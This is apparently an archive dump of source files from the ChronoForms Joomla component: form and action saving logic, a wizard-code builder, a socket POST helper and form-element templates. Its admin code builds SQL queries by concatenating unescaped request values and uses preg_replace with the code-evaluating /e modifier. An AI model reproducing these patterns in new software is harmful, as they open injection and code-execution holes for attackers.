$actiondata['action_'.$actiondata['type'].'_'.$key.'_content1']; unset($actiondata['action_'.$actiondata['type'].'_'.$key.'_content1']); } unset($actiondata['type']); foreach($actiondata as $actionname => $actionvalue){ $actiondata[str_replace('action_'.$type.'_'.$key.'_', '', $actionname)] = $actionvalue; unset($actiondata[$actionname]); } $_data['ChronoformAction'][$action_count]['params'] = $actiondata; $action_count++; } } $chronoform['formcode'] = $formdata; /*print_r2($_data); die(); /*echo '
      ';
      		print_r($formdata);
      		print_r($_data);
      		print_r($_POST['_form_actions_events_map']);
      		echo '
      ';*/ //save form $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['data']['Chronoform']['id']) && !empty($_POST['data']['Chronoform']['id'])){ $_data['Chronoform']['id'] = $_POST['data']['Chronoform']['id']; if(isset($_POST['wizard_mode'])){// && $_POST['wizard_mode'] == 'easy'){ //load the form $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$_data['Chronoform']['id']."'"); $form = $database->loadObject(); //$_data['Chronoform']['params'] = 'form_mode='.$_POST['wizard_mode'].''."\n".trim($form->params)."\n".'form_mode='.$_POST['wizard_mode']; $form_params = new JParameter($form->params); $form_params->set('form_mode', $_POST['wizard_mode']); $form_params->set('tight_layout', $_POST['params']['tight_layout']); $_data['Chronoform']['params'] = $form_params->toString(); } }else{ $_data['Chronoform']['form_type'] = 1; //this is a new form, set it as WIZARD form if(isset($_POST['wizard_mode'])){// && $_POST['wizard_mode'] == 'easy'){ //$_data['Chronoform']['params'] = 'form_mode='.$_POST['wizard_mode']; $form_params = new JParameter(''); $form_params->set('form_mode', $_POST['wizard_mode']); $form_params->set('tight_layout', $_POST['params']['tight_layout']); $_data['Chronoform']['params'] = $form_params->toString(); } } $_POST['data']['Chronoform']['name'] = $_data['Chronoform']['name'] = $_POST['chronoform_name']; $_data['Chronoform']['published'] = $_POST['chronoform_published']; $_data['Chronoform']['app'] = $_POST['data']['Chronoform']['app']; if(isset($_POST['form_type']) && (int)$_POST['form_type'] != 0){ $_data['Chronoform']['content'] = ChronoFormsAdmin::_processWizardCode($formdata); $_data['Chronoform']['wizardcode'] = var_export($formdata, true); /*if(strpos($form->form_details->content, 'validate[') !== false){ }*/ } //get the actions events map $_data['Chronoform']['events_actions_map'] = base64_encode(serialize($_POST['_form_actions_events_map']['myform'])); //if easy mode, load the preset events map if(isset($_POST['wizard_mode']) && $_POST['wizard_mode'] == 'easy'){ $_data['Chronoform']['events_actions_map'] = "YToxOntzOjY6ImV2ZW50cyI7YToyOntzOjQ6ImxvYWQiO2E6MTp7czo3OiJhY3Rpb25zIjthOjQ6e3M6MTg6ImNmYWN0aW9uX2xvYWRfanNfMCI7czowOiIiO3M6MTk6ImNmYWN0aW9uX2xvYWRfY3NzXzEiO3M6MDoiIjtzOjIzOiJjZmFjdGlvbl9sb2FkX2NhcHRjaGFfMiI7czowOiIiO3M6MjA6ImNmYWN0aW9uX3Nob3dfaHRtbF8zIjtzOjA6IiI7fX1zOjY6InN1Ym1pdCI7YToxOntzOjc6ImFjdGlvbnMiO2E6MTI6e3M6MjQ6ImNmYWN0aW9uX2NoZWNrX2NhcHRjaGFfNCI7YToxOntzOjY6ImV2ZW50cyI7YToyOntzOjM3OiJjZmFjdGlvbmV2ZW50X2NoZWNrX2NhcHRjaGFfNF9zdWNjZXNzIjtzOjA6IiI7czozNDoiY2ZhY3Rpb25ldmVudF9jaGVja19jYXB0Y2hhXzRfZmFpbCI7YToxOntzOjc6ImFjdGlvbnMiO2E6MTp7czoyMToiY2ZhY3Rpb25fZXZlbnRfbG9vcF81IjtzOjA6IiI7fX19fXM6MjM6ImNmYWN0aW9uX3VwbG9hZF9maWxlc182IjthOjE6e3M6NjoiZXZlbnRzIjthOjI6e3M6MzY6ImNmYWN0aW9uZXZlbnRfdXBsb2FkX2ZpbGVzXzZfc3VjY2VzcyI7czowOiIiO3M6MzM6ImNmYWN0aW9uZXZlbnRfdXBsb2FkX2ZpbGVzXzZfZmFpbCI7YToxOntzOjc6ImFjdGlvbnMiO2E6MTp7czoyMToiY2ZhY3Rpb25fZXZlbnRfbG9vcF83IjtzOjA6IiI7fX19fXM6MjI6ImNmYWN0aW9uX2N1c3RvbV9jb2RlXzgiO3M6MDoiIjtzOjI1OiJjZmFjdGlvbl9oYW5kbGVfYXJyYXlzXzE2IjtzOjA6IiI7czoxODoiY2ZhY3Rpb25fZGJfc2F2ZV85IjtzOjA6IiI7czoxNzoiY2ZhY3Rpb25fZW1haWxfMTAiO3M6MDoiIjtzOjE3OiJjZmFjdGlvbl9lbWFpbF8xMSI7czowOiIiO3M6MTc6ImNmYWN0aW9uX2VtYWlsXzEyIjtzOjA6IiI7czoyMzoiY2ZhY3Rpb25fY3VzdG9tX2NvZGVfMTMiO3M6MDoiIjtzOjMxOiJjZmFjdGlvbl9zaG93X3RoYW5rc19tZXNzYWdlXzE0IjtzOjA6IiI7czoyNToiY2ZhY3Rpb25fcmVkaXJlY3RfdXNlcl8yMCI7czowOiIiO3M6MjA6ImNmYWN0aW9uX2RlYnVnZ2VyXzE4IjtzOjA6IiI7fX19fQ=="; } if(!$row->bind($_data['Chronoform'])){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } $chronoform_id = $row->id; //save actions if(isset($_data['ChronoformAction']) && !empty($_data['ChronoformAction'])){ //delete previous actions to save new ones if(isset($_POST['data']['Chronoform']['id']) && !empty($_POST['data']['Chronoform']['id'])){ $database->setQuery("DELETE FROM #__chronoform_actions WHERE chronoform_id='".$_POST['data']['Chronoform']['id']."'"); if(!$database->query()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } } //save all new actions foreach($_data['ChronoformAction'] as $action){ $row = JTable::getInstance('chronoformactions', 'Table'); $action['chronoform_id'] = $chronoform_id; $params = new JParameter(''); if(isset($action['params']) && is_array($action['params'])){ foreach($action['params'] as $k => $param){ $params->set($k, $param); } $action['params'] = $params->toString(); } if(!$row->bind($action)){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if(!$row->store()) { JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } return $chronoform_id; } function _processWizardCode($formdata){ $content = ''; require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."helpers".DS."html_helper.php"); $HtmlHelper = new HtmlHelper(); foreach($formdata as $formdata_key => $formdata_element){ $field_header = $formdata_element['tag'].'_'.$formdata_element['type'].'_'.str_replace('field_', '', $formdata_key); $formcontent_item_array = array(); $field_name = ''; if(isset($formdata_element[$field_header.'_input_name'])){ $field_name = $formdata_element[$field_header.'_input_name']; } //disable label if empty if(isset($formdata_element[$field_header.'_label_text']) && strlen($formdata_element[$field_header.'_label_text'])){ $formcontent_item_array['label'] = $formdata_element[$field_header.'_label_text']; }else{ $formcontent_item_array['label'] = false; } switch($formdata_element['type']){ default: $process = true; $file_name = 'input_'.$formdata_element['type']; if(file_exists(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$file_name.'.php')){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$file_name.'.php'); $elementclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'chrono_forms_'.$file_name); if(class_exists($elementclassname)){ $elementclass = new $elementclassname; $methods = get_class_methods($elementclass); if(in_array('save', $methods)){ $formcontent_item_array = $elementclass->save($formdata_element, $field_header, $formcontent_item_array); $process = false; } } } if($process){ if(isset($formdata_element[$field_header.'_input_id'])){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; unset($formdata_element[$field_header.'_input_id']); } if(isset($formdata_element[$field_header.'_input_value'])){ $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; unset($formdata_element[$field_header.'_input_value']); } if(isset($formdata_element[$field_header.'_input_maxlength'])){ $formcontent_item_array['maxlength'] = $formdata_element[$field_header.'_input_maxlength']; unset($formdata_element[$field_header.'_input_maxlength']); } if(isset($formdata_element[$field_header.'_input_size'])){ $formcontent_item_array['size'] = $formdata_element[$field_header.'_input_size']; unset($formdata_element[$field_header.'_input_size']); } if(isset($formdata_element[$field_header.'_input_class'])){ $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; unset($formdata_element[$field_header.'_input_class']); } if(isset($formdata_element[$field_header.'_input_title'])){ $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; unset($formdata_element[$field_header.'_input_title']); } if(isset($formdata_element[$field_header.'_label_over'])){ $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; unset($formdata_element[$field_header.'_label_over']); } if(isset($formdata_element[$field_header.'_hide_label'])){ $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; unset($formdata_element[$field_header.'_hide_label']); } if(isset($formdata_element[$field_header.'_validations'])){ $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; unset($formdata_element[$field_header.'_validations']); } if(isset($formdata_element[$field_header.'_instructions'])){ $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; unset($formdata_element[$field_header.'_instructions']); } if(isset($formdata_element[$field_header.'_tooltip'])){ $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; unset($formdata_element[$field_header.'_tooltip']); } if(isset($formdata_element['real_type'])){ $formcontent_item_array['type'] = $formdata_element['real_type']; unset($formdata_element['real_type']); unset($formdata_element['type']); unset($formdata_element['tag']); } //unset the name and the label unset($formdata_element[$field_header.'_input_name']); unset($formdata_element[$field_header.'_label_text']); //load the field params array foreach($formdata_element as $k => $v){ $formcontent_item_array[str_replace($field_header.'_', '', $k)] = $formdata_element[$k]; } $formcontent_item_array['wf_key'] = str_replace('field_', '', $formdata_key); } $formcontent_item_array['container_id'] = $formdata_element['container_id']; break; } $content .= $HtmlHelper->input($field_name, $formcontent_item_array, true); } $content .= $HtmlHelper->input('empty', array('type' => 'empty', 'container_id' => 9999999), true); return $content; } public static function validationconnect($type, $host, $port='80', $path='/', $data=array()) { $mainframe = JFactory::getApplication(); $_err = 'lib sockets::'.__FUNCTION__.'(): '; $str = ''; $d = array(); //switch($type) { case 'http': $type = ''; case 'ssl': continue; default: die($_err.'bad $type'); } if(!empty($data)){ foreach($data as $k => $v){ $strarr[] = urlencode($k).'='.urlencode($v); } } $str = implode('&', $strarr); $result = ''; //echo $str; $fp = fsockopen($host, $port, $errno, $errstr, 30); if(!$fp){ //$mainframe->redirect( "index.php?option=com_chronoforms", $_err.$errstr.$errno); $result = 'error'; //die($_err.$errstr.$errno); }else{ fputs($fp, "POST $path HTTP/1.1\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($str)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $str."\r\n\r\n"); while(!feof($fp)){ $d[] = fgets($fp,4096); } fclose($fp); $result = $d[count($d) - 1]; } return $result; } } ?>PKs>\>, .com_chronoforms/form_elements/input_custom.ctpnuW+A
      Custom Element (HTML/PHP)

      Custom Element Here

      Header(array('general' => 'General'), 'input_custom_element_config_{n}'); ?> tabStart('general'); ?> input('input_custom_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'can be used to show the server side error messages.')); ?> input('input_custom_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_custom_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_custom_{n}_clean_config', array('type' => 'checkbox', 'label' => 'Pure code', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Should the code be rendered without being included inside any containers ?')); ?> input('input_custom_{n}_code_config', array('type' => 'textarea', 'label' => 'Code', 'rows' => 15, 'cols' => 50, 'style' => 'width:450px !important;')); ?> input('input_custom_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_custom_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?>
      PKs>\{[0]*]*-com_chronoforms/form_elements/input_radio.ctpnuW+A
      Radio Box
      radio('Chronoforms.'.$element_params['input_name'], $element_params['options'], array('value' => $element_params['input_value'], 'legend' => $element_params['legend'])); ?> $radio_option_text): ?> $radio_option_text){ if(!empty($options)){ $options .= "\n"; } $options .= $radio_option_value.'='.$radio_option_text; } ?> input('chronofield[{n}][input_radio_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_radio_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_radio_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_radio_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_radio_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_radio_{n}_radios_over]', array('type' => 'hidden', 'id' => 'input_radio_{n}_radios_over', 'value' => $element_params['radios_over'])); ?> input('chronofield[{n}][input_radio_{n}_legend]', array('type' => 'hidden', 'id' => 'input_radio_{n}_legend', 'value' => $element_params['legend'])); ?> input('chronofield[{n}][input_radio_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_radio_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_radio_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_radio_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_radio_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_radio_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_radio_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_radio_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_radio_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_radio_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_radio_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_radio_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_radio_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?> input('chronofield[{n}][input_radio_{n}_enable_dynamic_data]', array('type' => 'hidden', 'id' => 'input_radio_{n}_enable_dynamic_data', 'value' => $element_params['enable_dynamic_data'])); ?> input('chronofield[{n}][input_radio_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_radio_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_radio_{n}_value_key]', array('type' => 'hidden', 'id' => 'input_radio_{n}_value_key', 'value' => $element_params['value_key'])); ?> input('chronofield[{n}][input_radio_{n}_text_key]', array('type' => 'hidden', 'id' => 'input_radio_{n}_text_key', 'value' => $element_params['text_key'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost', 'dynamic_data' => 'Dynamic Data'), 'input_radio_element_config_{n}'); ?> tabStart('general'); ?> input('input_radio_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_radio_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_radio_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_radio_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_radio_{n}_options_config', array('type' => 'textarea', 'label' => 'Options', 'rows' => 5, 'cols' => 50, 'operation' => "multi_option", 'operation_fieldtype' => "radio", 'smalldesc' => 'in value=text multi line format.')); ?> input('input_radio_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_radio_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_radios_over_config', array('type' => 'checkbox', 'label' => 'Radios Vertical', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_radio_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_radio_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_radio_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_radio_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_radio_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?> tabStart('dynamic_data'); ?> input('input_radio_{n}_enable_dynamic_data_config', array('type' => 'select', 'label' => 'Enable', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => '1', 'smalldesc' => 'Enable Dynamic options loading, the options should exist in the $form->data array.')); ?> input('input_radio_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'value' => '', 'smalldesc' => 'The data path in the $form->data array, can be a MODEL ID, or a path using dots: MODEL1.MODEL2')); ?> input('input_radio_{n}_value_key_config', array('type' => 'text', 'label' => 'Value Key', 'smalldesc' => 'The key name under which each option value will be found, so for example, if you have a multi list of users data loaded, then you may enter here "id"')); ?> input('input_radio_{n}_text_key_config', array('type' => 'text', 'label' => 'Text Key', 'smalldesc' => 'The key name under which each option text will be found, so for example, if you have a multi list of users data loaded, then you may enter here "username"')); ?> tabEnd(); ?>
      PKs>\].com_chronoforms/form_elements/input_submit.phpnuW+A 'input_submit_{n}', 'input_id' => '', 'input_class' => '', 'multiline_start' => '0', 'multiline_add' => '0', 'button_type' => 'submit', 'button_align' => 'left', 'back_button' => 0, 'reset_button' => 0, 'container_id' => 0, 'back_button_value' => 'Back', 'reset_button_value' => 'Reset', 'input_value' => 'Submit'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['name'] = $formdata_element[$field_header.'_input_name']; $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['button_type'] = $formdata_element[$field_header.'_button_type']; $formcontent_item_array['button_align'] = $formdata_element[$field_header.'_button_align']; $formcontent_item_array['back_button'] = $formdata_element[$field_header.'_back_button']; $formcontent_item_array['reset_button'] = $formdata_element[$field_header.'_reset_button']; $formcontent_item_array['back_button_value'] = $formdata_element[$field_header.'_back_button_value']; $formcontent_item_array['reset_button_value'] = $formdata_element[$field_header.'_reset_button_value']; $formcontent_item_array['value'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\뚶Rc,c,6com_chronoforms/form_elements/input_checkbox_group.ctpnuW+A
      CheckBoxes Group
      $checkbox_group_option_text): ?> $checkbox_group_option_text){ if(!empty($options)){ $options .= "\n"; } $options .= $checkbox_group_option_value.'='.$checkbox_group_option_text; } }else{ $options = ''; } ?> input('chronofield[{n}][input_checkbox_group_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_radios_over]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_radios_over', 'value' => $element_params['radios_over'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_checked]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_checked', 'value' => $element_params['checked'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_enable_dynamic_data]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_enable_dynamic_data', 'value' => $element_params['enable_dynamic_data'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_value_key]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_value_key', 'value' => $element_params['value_key'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_text_key]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_text_key', 'value' => $element_params['text_key'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost', 'dynamic_data' => 'Dynamic Data'), 'input_checkbox_group_element_config_{n}'); ?> tabStart('general'); ?> input('input_checkbox_group_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_checkbox_group_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_checkbox_group_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_checkbox_group_{n}_checked_config', array('type' => 'text', 'label' => 'Checked value', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'the checkbox value which should be checked by default.')); ?> input('input_checkbox_group_{n}_options_config', array('type' => 'textarea', 'label' => 'Options', 'rows' => 5, 'cols' => 50, 'operation' => "multi_option", 'operation_fieldtype' => "checkbox", 'smalldesc' => 'in value=text multi line format.')); ?> input('input_checkbox_group_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_checkbox_group_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_radios_over_config', array('type' => 'checkbox', 'label' => 'Checkboxes Vertical', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_group_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_group_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_checkbox_group_{n}_validations_config', array('type' => 'checkbox', 'label' => '1 Required', 'class' => 'small_input', 'value' => 'group[{n}]', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_checkbox_group_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_checkbox_group_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?> tabStart('dynamic_data'); ?> input('input_checkbox_group_{n}_enable_dynamic_data_config', array('type' => 'select', 'label' => 'Enable', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => '1', 'smalldesc' => 'Enable Dynamic options loading, the options should exist in the $form->data array.')); ?> input('input_checkbox_group_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'value' => '', 'smalldesc' => 'The data path in the $form->data array, can be a MODEL ID, or a path using dots: MODEL1.MODEL2')); ?> input('input_checkbox_group_{n}_value_key_config', array('type' => 'text', 'label' => 'Value Key', 'smalldesc' => 'The key name under which each option value will be found, so for example, if you have a multi list of users data loaded, then you may enter here "id"')); ?> input('input_checkbox_group_{n}_text_key_config', array('type' => 'text', 'label' => 'Text Key', 'smalldesc' => 'The key name under which each option text will be found, so for example, if you have a multi list of users data loaded, then you may enter here "username"')); ?> tabEnd(); ?>
      PKs>\k,[""0com_chronoforms/form_elements/input_textarea.ctpnuW+A
      Text Area
      input('chronofield[{n}][input_textarea_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_textarea_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_textarea_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_textarea_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_textarea_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_textarea_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_textarea_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_textarea_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_textarea_{n}_input_cols]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_cols', 'value' => $element_params['input_cols'])); ?> input('chronofield[{n}][input_textarea_{n}_input_rows]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_rows', 'value' => $element_params['input_rows'])); ?> input('chronofield[{n}][input_textarea_{n}_wysiwyg_editor]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_wysiwyg_editor', 'value' => $element_params['wysiwyg_editor'])); ?> input('chronofield[{n}][input_textarea_{n}_editor_buttons]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_editor_buttons', 'value' => $element_params['editor_buttons'])); ?> input('chronofield[{n}][input_textarea_{n}_editor_width]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_editor_width', 'value' => $element_params['editor_width'])); ?> input('chronofield[{n}][input_textarea_{n}_editor_height]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_editor_height', 'value' => $element_params['editor_height'])); ?> 